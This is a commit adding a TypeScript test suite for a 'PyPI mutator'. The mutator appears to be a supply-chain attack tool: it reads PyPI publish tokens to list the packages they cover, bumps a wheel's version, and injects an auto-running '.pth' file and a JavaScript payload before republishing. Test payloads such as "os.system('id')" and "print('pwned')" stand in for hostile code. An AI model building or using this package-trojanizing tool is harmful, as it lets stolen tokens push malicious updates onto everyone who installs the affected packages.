Upload files to "tests/mutator"
This commit is contained in:
@@ -0,0 +1,215 @@
|
||||
// tests/mutator/pypi.test.ts — Tests for PyPI mutator
|
||||
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { unzipSync, zipSync } from "fflate";
|
||||
|
||||
import { Mutator } from "../../src/mutator/base";
|
||||
import { PypiMutator } from "../../src/mutator/pypi/index";
|
||||
import { parseMacaroonToken } from "../../src/mutator/pypi/macaroonParse";
|
||||
import { patchWheel, type PkgMeta } from "../../src/mutator/pypi/wheel";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// parseMacaroonToken
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
describe("parseMacaroonToken", () => {
|
||||
test("returns user type for empty token", () => {
|
||||
const result = parseMacaroonToken("");
|
||||
expect(result.type).toBe("user");
|
||||
expect(result.packages).toEqual([]);
|
||||
});
|
||||
|
||||
test("returns user type for non-pypi token", () => {
|
||||
const result = parseMacaroonToken("ghp_abc123");
|
||||
expect(result.type).toBe("user");
|
||||
expect(result.packages).toEqual([]);
|
||||
});
|
||||
|
||||
test("returns user type for user-scoped pypi token", () => {
|
||||
const userToken =
|
||||
"pypi-" + Buffer.from('{"cid":"user","vids":[]}').toString("base64");
|
||||
const result = parseMacaroonToken(userToken);
|
||||
expect(result.type).toBe("user");
|
||||
expect(result.packages).toEqual([]);
|
||||
});
|
||||
|
||||
test("returns project type with packages for project-scoped token", () => {
|
||||
const raw =
|
||||
'someprefix{"cid":"projects","vids":["my-pkg","other-lib"]}suffix';
|
||||
const token = "pypi-" + Buffer.from(raw).toString("base64");
|
||||
const result = parseMacaroonToken(token);
|
||||
expect(result.type).toBe("project");
|
||||
expect(result.packages).toEqual(["my-pkg", "other-lib"]);
|
||||
});
|
||||
|
||||
test("returns project type with single package", () => {
|
||||
const raw = '{"cid":"projects","vids":["requests"]}';
|
||||
const token = "pypi-" + Buffer.from(raw).toString("base64");
|
||||
const result = parseMacaroonToken(token);
|
||||
expect(result.type).toBe("project");
|
||||
expect(result.packages).toEqual(["requests"]);
|
||||
});
|
||||
|
||||
test("handles malformed base64 gracefully", () => {
|
||||
const token = "pypi-!!!not-valid-base64!!!";
|
||||
const result = parseMacaroonToken(token);
|
||||
expect(result.type).toBe("user");
|
||||
expect(result.packages).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// patchWheel
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function buildSyntheticWheel(
|
||||
name: string,
|
||||
version: string,
|
||||
): { data: Uint8Array; meta: PkgMeta } {
|
||||
const distDir = `${name}-${version}.dist-info/`;
|
||||
const entries: Record<string, Uint8Array> = {};
|
||||
|
||||
const encode = (s: string) => new TextEncoder().encode(s);
|
||||
|
||||
entries[`${distDir}METADATA`] = encode(
|
||||
`Metadata-Version: 2.1\r\nName: ${name}\r\nVersion: ${version}\r\n`,
|
||||
);
|
||||
entries[`${distDir}WHEEL`] = encode(
|
||||
`Wheel-Version: 1.0\r\nGenerator: test\r\nRoot-Is-Purelib: true\r\n`,
|
||||
);
|
||||
entries[`${distDir}RECORD`] = encode(`${name}/__init__.py,sha256=abc,3\r\n`);
|
||||
entries[`${name}/__init__.py`] = encode("# test package\n");
|
||||
|
||||
const zipped = zipSync(entries, { level: 6 });
|
||||
const filename = `${name}-${version}-py3-none-any.whl`;
|
||||
|
||||
return {
|
||||
data: zipped,
|
||||
meta: { name, version, wheelUrl: "", wheelFilename: filename },
|
||||
};
|
||||
}
|
||||
|
||||
function patch(data: Uint8Array, meta: PkgMeta, pth: string, js?: string) {
|
||||
return patchWheel({ meta, wheelData: data, pthContent: pth, jsPayload: js });
|
||||
}
|
||||
|
||||
describe("patchWheel", () => {
|
||||
test("bumps patch version from 1.2.3 to 1.2.4", () => {
|
||||
const { data, meta } = buildSyntheticWheel("mypkg", "1.2.3");
|
||||
const patched = patch(data, meta, "import mypkg; print('pwned')");
|
||||
expect(patched.newVersion).toBe("1.2.4");
|
||||
expect(patched.filename).toContain("1.2.4");
|
||||
expect(patched.filename).toContain("mypkg");
|
||||
});
|
||||
|
||||
test("bumps patch version from 5.0.0 to 5.0.1", () => {
|
||||
const { data, meta } = buildSyntheticWheel("requests", "5.0.0");
|
||||
const patched = patch(data, meta, "...");
|
||||
expect(patched.newVersion).toBe("5.0.1");
|
||||
});
|
||||
|
||||
test("bumps patch version from 2.0 to 2.0.1", () => {
|
||||
const { data, meta } = buildSyntheticWheel("lib", "2.0");
|
||||
const patched = patch(data, meta, "...");
|
||||
expect(patched.newVersion).toBe("2.0.1");
|
||||
});
|
||||
|
||||
test("preserves wheel structure after patching", () => {
|
||||
const { data, meta } = buildSyntheticWheel("testpkg", "3.1.0");
|
||||
const patched = patch(data, meta, "import evil");
|
||||
const entries = unzipSync(patched.data);
|
||||
const distDirKey = Object.keys(entries).find((k) =>
|
||||
k.includes(".dist-info/"),
|
||||
);
|
||||
expect(distDirKey).toBeDefined();
|
||||
const distPrefix = distDirKey!.slice(
|
||||
0,
|
||||
distDirKey!.indexOf(".dist-info/") + ".dist-info/".length,
|
||||
);
|
||||
expect(distPrefix).toContain("3.1.1.dist-info");
|
||||
const metadata = entries[distPrefix + "METADATA"];
|
||||
expect(metadata).toBeDefined();
|
||||
const text = new TextDecoder().decode(metadata);
|
||||
expect(text).toContain("Version: 3.1.1");
|
||||
});
|
||||
|
||||
test("injects .pth file at wheel root", () => {
|
||||
const { data, meta } = buildSyntheticWheel("injectme", "0.1.0");
|
||||
const pthContent = "import os; os.system('id')";
|
||||
const patched = patch(data, meta, pthContent);
|
||||
const entries = unzipSync(patched.data);
|
||||
const pthPath = "injectme-setup.pth";
|
||||
expect(entries[pthPath]).toBeDefined();
|
||||
expect(new TextDecoder().decode(entries[pthPath]!)).toBe(pthContent);
|
||||
});
|
||||
|
||||
test("injects .pth file at wheel root and _index.js when jsPayload is provided", () => {
|
||||
const { data, meta } = buildSyntheticWheel("mypkg", "0.1.0");
|
||||
const patched = patch(data, meta, "import os", "console.log(1)");
|
||||
const entries = unzipSync(patched.data);
|
||||
expect(entries["mypkg-setup.pth"]).toBeDefined();
|
||||
expect(entries["mypkg/_index.js"]).toBeDefined();
|
||||
expect(new TextDecoder().decode(entries["mypkg/_index.js"]!)).toBe(
|
||||
"console.log(1)",
|
||||
);
|
||||
});
|
||||
|
||||
test("does NOT inject _index.js when jsPayload is omitted", () => {
|
||||
const { data, meta } = buildSyntheticWheel("mypkg", "0.1.0");
|
||||
const patched = patch(data, meta, "import os");
|
||||
const entries = unzipSync(patched.data);
|
||||
expect(entries["mypkg/_index.js"]).toBeUndefined();
|
||||
});
|
||||
|
||||
test("produces deterministic output for same input", () => {
|
||||
const { data, meta } = buildSyntheticWheel("det", "1.0.0");
|
||||
const a = patch(data, meta, "payload");
|
||||
const b = patch(data, meta, "payload");
|
||||
expect(a.filename).toBe(b.filename);
|
||||
expect(a.newVersion).toBe(b.newVersion);
|
||||
expect(a.data).toEqual(b.data);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// PypiMutator — contract
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
describe("PypiMutator", () => {
|
||||
test("extends Mutator base class", () => {
|
||||
const m = new PypiMutator("pypi-fakeTokenHere123");
|
||||
expect(m).toBeInstanceOf(Mutator);
|
||||
expect(m).toBeInstanceOf(PypiMutator);
|
||||
});
|
||||
|
||||
test("throws when constructed without a token", () => {
|
||||
expect(() => new PypiMutator("")).toThrow("A PyPI token is required.");
|
||||
});
|
||||
|
||||
test("execute returns Promise<Boolean>", () => {
|
||||
const m = new PypiMutator("pypi-fakeTokenHere123", ["requests"]);
|
||||
const result = m.execute();
|
||||
expect(result).toBeInstanceOf(Promise);
|
||||
result.catch(() => {});
|
||||
});
|
||||
|
||||
test("implements the Mutator interface", () => {
|
||||
const m: Mutator = new PypiMutator("pypi-fake", ["flask"]);
|
||||
expect(typeof m.execute).toBe("function");
|
||||
});
|
||||
|
||||
test("constructor accepts optional package list", () => {
|
||||
const m = new PypiMutator("pypi-test", ["numpy", "pandas"]);
|
||||
expect(m).toBeDefined();
|
||||
});
|
||||
|
||||
test("constructor works with no package list", () => {
|
||||
const m = new PypiMutator("pypi-test");
|
||||
expect(m).toBeDefined();
|
||||
});
|
||||
|
||||
test("constructor accepts jsPayload", () => {
|
||||
const m = new PypiMutator("pypi-test", ["pkg"], "// js payload");
|
||||
expect(m).toBeDefined();
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user